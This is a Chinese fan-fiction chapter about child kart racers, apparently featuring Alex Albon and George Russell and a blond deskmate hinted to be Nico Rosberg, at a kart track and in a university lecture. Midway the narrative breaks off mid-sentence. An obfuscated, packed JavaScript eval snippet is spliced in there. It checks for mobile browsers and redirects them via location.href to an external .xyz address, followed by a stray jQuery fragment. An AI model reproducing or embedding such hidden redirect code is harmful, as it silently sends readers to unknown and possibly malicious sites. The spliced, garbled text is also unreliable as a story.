玩票车手。
玩票是个意味深长的词。在大部分情况下昭示着雄厚的经济实力以及毫不在意的松弛态度。
在赛车世界里这并不是个贬义词。
会踏上赛车这条路的人,如果不是家学渊源,那也是家底丰厚。大部分小孩往往两者都有。比如阿尔本,他的家族里面父亲和叔叔都痴迷赛车,父亲更是作为业余车手参加过房车比赛。在阿尔本记忆里,他和父亲的家庭活动都是在各种车辆器械上度过的。
至于花销——家里经营着公司,本该度过衣食无忧童年的阿尔本,因为开卡丁车,早早了解了什么叫缺钱。
什么叫性价比。
以及,什么叫仇富。
他今年12岁,已经有4年的正式卡丁车训练经历。而卡丁车事实上是一个没有上限的运动——这个四个轮子一个发动机的玩具像是一个烧钱的机器,轰鸣之间钞票灰飞烟灭。你永远可以找到更好的轮胎,更好的发动机,更好的悬挂结构。
这就是‘玩票车手’。
他们家底丰厚,开着一辆性能上也许碾压全场的昂贵卡丁车,但是并没有真的打算朝着F1赛车手方向发展。
每年阿尔本都能在不同的卡丁车场都能看到这些开着崭新的车,用着最先进的发动机,也许身边还跟着一整个团队的少爷小姐们,在场上出现个一两年,参加几个比赛,成绩大部分不好不坏,最后忽然消失不见。
也许下一次见面是在什么财经或者外交新闻上吧。
难道面前这个中国小男孩也是个付费车手?
他疑惑地打量了他一番——带着学校logo的上衣,阿森纳logo的书包,除了那张可爱到过度的小脸蛋,一切都是普普通通。
不应该啊,有钱人看足球也该支持切尔西啊?!
“不是,我不是付费车手” 岑维希吓了一跳:“我现在都算不上车手吧。”
“...我开的这么烂。”
“你开的挺好的啊。”阿尔本疑惑:“怎么忽然这么说。”
“我开的太差了。”岑维希忸怩地说,不去看阿尔本,他几乎没有经历过这种挫败和认输的场合:“我开了两周了,这条线路还是会犯错。”
岑维希指着乔治·拉塞尔:“那个大眼仔今天第一次来,就刷新了这个赛道的记录。”
被喊大眼仔的乔治·拉塞尔狠狠翻了个白眼。
阿尔本看看低头不好意思的新朋友,看看阴阳怪气的老朋友,恍然大悟:“你在跟乔治比啊?那你肯定比不赢的啦。”
“乔治去年可是伦敦地区的冠军。”
“在场所有人,包括刚刚在辅导你的教练,估计都没有乔治的车速快了。”
阿尔本还是挂着那副阳光灿烂的笑容。
“除了我。”
*
“他说他是全英国的卡丁车冠军,”岑维希用书遮着脸,偷偷跟同桌说小话:“你敢信嘛,我在随意某个卡丁车馆遇见的随机某个路人甲,就说自己是全国冠军。”
“太假了吧,这个概率和我随机走进一间教室,同桌是F1车手总冠军有什么区别。”
“咳咳咳咳。”他的同桌忽然剧烈地咳嗽起来。
“你没事吧?”
“没事没事,喝水呛到了。”
“这么大的人了,喝水还会呛到。我三岁就不会呛到自己了。”岑维希小声抱怨。他低着头,嫌弃同桌刚刚咳嗽的动静太大,引来岑教授不满地瞪视与同学们好奇的眼光。
他的同桌好像也知道自己丢人,把头埋得低低的,一头漂亮显眼的金发仔细地藏在帽子里。
“你说的那个自称是英国冠军的小男孩,是个泰国人?”同桌压低声音问他。
岑维希点头。
“有没有一种可能,他说的是真的?”同桌小声用气音说。
岑维希用看傻子的眼光看着同桌。
他不想用刻板印象衡量别人,但是他的同桌是在是个过于典型的金发美人——他有着亮闪闪的金色头发,漂亮俊俏的脸蛋,以及不是那么聪明的脑瓜子。
他们相遇于岑维希妈妈的课堂的最后一排。在第三次遇见的时候,金发美人紧张兮兮地问写奥数作业的岑维希:“你不会都听懂了吧?”
岑维希诚实地摇头。
金发美人松了一口气,开始抱怨,‘这节课明明是叫‘游戏理论’,怎么讲的都是数学啊!’‘我是德国人’,‘教授的口音太难懂了’,‘这节课一定超纲了’,‘希望考试不要太难’。
岑维希没忍心告诉他,这门课往年的通过率大概是90%,属于岑教授开出的送分大礼包,目标是‘为非数学专业的同学打开一扇了解数学之美的大门’,偶尔为了增加趣味性还会用上他的小学奥数题。
这都完全听不懂,估计数学的大门关的死死的吧。
不过想想,把博弈论当成‘游戏理论’(theory of game)的家伙,确实不能对他的智商有太高期待。
岑维希想了想,缓和口气回答金发美人的蠢问题:“他当然不可能是英国冠军。”
“我上网确认了的!他说的那个卡丁车比赛根本不存在!”
“他就是在骗小孩的!”
“其实,”金发同桌还在试图劝解:“有些地区性比赛是不会联网的,那太新潮了,老派比赛最多就是在圈内流传,甚至结果都不会上报纸。”
“连新闻都没有,”岑维希笃定地说。“那一定是野鸡比赛了。”
“......”金发同桌放弃挣扎,他换了个话题:“所以你遇见了一个自称是卡丁车冠军的泰国人和英国人,然后呢?”
“....然后我发现我甚至比不过他。”岑维希郁闷地在奥数作业本上画圈圈:“我练了好几周了,还不如他们第一圈速度快。这样的我怎么可能当上F1赛车手啊。”
“你要当赛车手?”金发同桌震惊地问,漂亮的浅色瞳孔瞪得像猫咪一样大。
“我以为你的梦想是,更学术一点的。比如说像你妈妈一样当个教授。”他抬起下巴,点了点岑教授的方向。不是每个八岁的小孩子都可以安静地在教室里坐满两节课写作业的。
岑维希忧郁地垂下头:“本来我的计划是退役之后再来当教授的,现在看起来我根本没有当赛车手的天赋。”
岑维希看了一眼金发同桌,一想到如果当了教授不得不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533063|170857||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面对这样笨笨的学生,心情更差了。
“别这样,”金发强忍笑意,看一个小孩伤春悲秋总是好笑的:“你为什么想要当赛车手?难道你父亲是赛车发烧友?”
一个想要成为赛车手的小孩往往全家都是赛车粉丝。台上讲课的岑教授显然不是,不然不会这么久都没有认出自己,那么只能是小孩的父亲——
“不,我爸是个美国人,打橄榄球。”岑维希摇头:“他只是偶尔看看F1比赛。”
“他有支持的车队吗?”金发同桌热切地问:“他有支持的车手吗?”
岑维希努力回忆。
“好像有一个,叫什么尼克·罗斯博格——”
‘撕——’金发同桌砰地一下子踢到凳子,发出巨大的声响。现在全班都在看着他们了,讲台上被打断的岑教授也一脸严肃地望着他们。
岑维希把头埋到桌子底下,假装自己不存在。他恼怒地对着金发美人发脾气:“你能不能小心一点!”
“斯,不好意思,太激动了。”金发美人道歉。
岑维希看了看他漂亮的脸,决定还是原谅了他。
“你爸有说为什么喜欢我,呃,我是说,小罗斯博格的嘛?”
“好像是....”岑维希皱起眉头,努力回想:“好像是说,因为他...”
因为他车技不凡?
因为他天赋异禀?
“因为他长得好看。”
“对了!”岑维希一拍脑袋,想起来了:“我爸说他就像美国偶像小甜甜布兰妮,为此我妈还揍了他一顿呢!”
轰隆——
同桌这次打翻了桌面的水壶。
在全班的注视之中,岑教授愤怒地把这两个频繁扰乱教学秩序的捣蛋鬼‘请’出了教室。
*
“都怪你!”岑维希发脾气:“我妈肯定饶不了我。”
“别呀,”同桌蹲下来哄他:“岑教授会回去揍你吗?”
“那倒不会。”岑维希摇头:“但是今天晚上学院的晚餐,我肯定没份了。”
他每周跟着他妈来上班,不就是为了今天固定的学院晚餐,这可是fine dining呢,有意大利的冰淇淋球和滋滋冒油的香草烤羊排。现在好了,啥也吃不到了。
岑维希痛苦地扯了下衬衫。为了吃这顿饭他还忍受了一整天的衬衫领带,天知道这个领带戴着有多难受。
“我要跟你绝交!”岑维希冷酷地说。他觉得不能因为这个金发美人长得好看就再容忍他的愚蠢和毛手毛脚了。再好看也没有冰淇淋和烤羊排重要。
“这样吧,我来补偿你。”同桌对着岑维希伸出手,他毛茸茸的金发从帽子里面露出来,像是太阳的光圈:“我们逃课出去玩吧。”
岑维希的拒绝还在嘴边,看起来傻乎乎的同桌说:“放心,我不会拐卖小孩的。”
他按了一个按钮。
教学楼下,一辆显眼的银白色的奔驰AMG发出轰鸣,这辆线条流畅,底盘极低,一看就价值不菲的跑车像是张开翅膀一样,两个侧门斜向上飞起,露出里面纯黑的内饰空间。
“怎么样,要不要跟我去兜风?”金发美人在他的耳边问。